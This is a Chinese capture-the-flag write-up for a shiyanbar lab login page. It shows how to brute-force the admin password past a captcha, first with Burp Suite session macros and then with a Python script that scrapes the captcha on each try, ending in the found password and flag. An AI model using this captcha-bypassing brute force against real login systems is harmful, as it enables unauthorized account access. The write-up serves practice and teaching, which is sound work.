一.http://ctf3.shiyanbar.com/just/index.php
1.用火狐浏览器打开页面:

(注:linux的截图按键可以直接用alt+PrintScreen截取当前的活动窗口,按shift+PrintScreen可以选定区域截图,截图会自动保存在图片目录下)
2. 观察该页面,查看网页源码发现提示。

3.进入该页面:http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php
发现登陆框,并且带有验证码。

4. 用户名锁定为admin,尝试弱口令admin,123456,password等均无法进入。
而且发现每次进入后验证码都会变化,并没有一定的规律。目测无法忽视验证码爆破。
这里会返回密码错误,验证码错误的界面。


5. 所以需要对验证码进行获取再利用bp或者脚本进行爆破。这里查看一下网页源代码,看一下验证码的类型。

可以发现验证码的类型是text类型,这样还很好获取,而且发现了提示,密码位于11111到12111之间。(可以用python或者任何一门语言,很简单的循环生成数字输出到txt文件中就可以生成一个密码表)
第一种方法:
burpsuite设置宏(macro)的方式来进行绕过验证码爆破。
(这里因为kali的burp有些问题,就在windows中操作)
(1)首先打开burpsuite,然后点击project options 选择 sessions拉到最下面就会看见Macros

(2) 点击Add,这时候会弹出两个窗口,一个是Macro Recorder,一个是Macro Editor

(3)Macro Recorder中上方显示的是我们的历史浏览记录,我们需要找到我们刚才登的网站,如果没有的话就抓一次包,就会出现。选中点击OK即可。自动回到Macro Editor

(4)然后我们选中网页,点击 Configure item 弹出下面的窗口 点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。

(5)点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。

(6)点击ok,回到界面继续点击ok,我们就完成了这个Macro的配置。接下来需要让burp自动调用该Macro,并替换请求的randcode的值。切回project options的选项卡,找到Session Handling Rules

(7)点击add然后在下方的Rule Actions点击Add并选择run as a macro

(8)这里选择 Update only the following parameters 点击Edit 选择我们刚才添加的randcode,然后其他默认点击ok。

(9)之后点击scope进行如下配置

(10)点击ok回到抓包,我们抓取一个包,并发送到intruder 载入密码表开始暴力破解

之后就很简单了,我们只要找到返回长度不一样的看一下它的response就可以找到flag了。
(错误的会提示密码错误)

第二种方法(脚本):
因为是刚开始接触python,所以注释写的尽量复杂,代码还不够优化。
- from bs4 import BeautifulSoup
- #pthon3.x版本导入bs包
- import requests
- #导入request包
- s = requests.session()
- #获取session
-
- for i in range(11111,12111):
- url = 'http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php'
- response = s.get(url)
- html = s.get(url).text
- soup = BeautifulSoup(html, "html.parser")
- randcode = soup.form.contents[10].split(' ')[1]
- i = str(i)
- #将i转化为str类型
- url = 'http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php?username=admin&password='+i+'&randcode='+randcode
- # 将payload 和 randcode带入到拼凑的url中
- print(s.get(url).text.encode('ISO-8859-1').decode(response.apparent_encoding))
- #输出能正常显示中文的返回页面的文本
之后开始执行,python的速度真的很快。
我们可以把控制台的输出结果ctrl+a ,然后ctrl+c复制粘贴到文本文档中。
回复的一般都是密码错误,所以没有密码错误的就是我们想要得到的。
可以用word的编辑查找功能。(一个一个看也可以,后来才知道查找flag就可以)
11713
------------------------------------
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>9s81jWjd98YU</title>
</head>
<body>
<br>
<br>
<center><h3>flag{c369af821e667}</h3></center>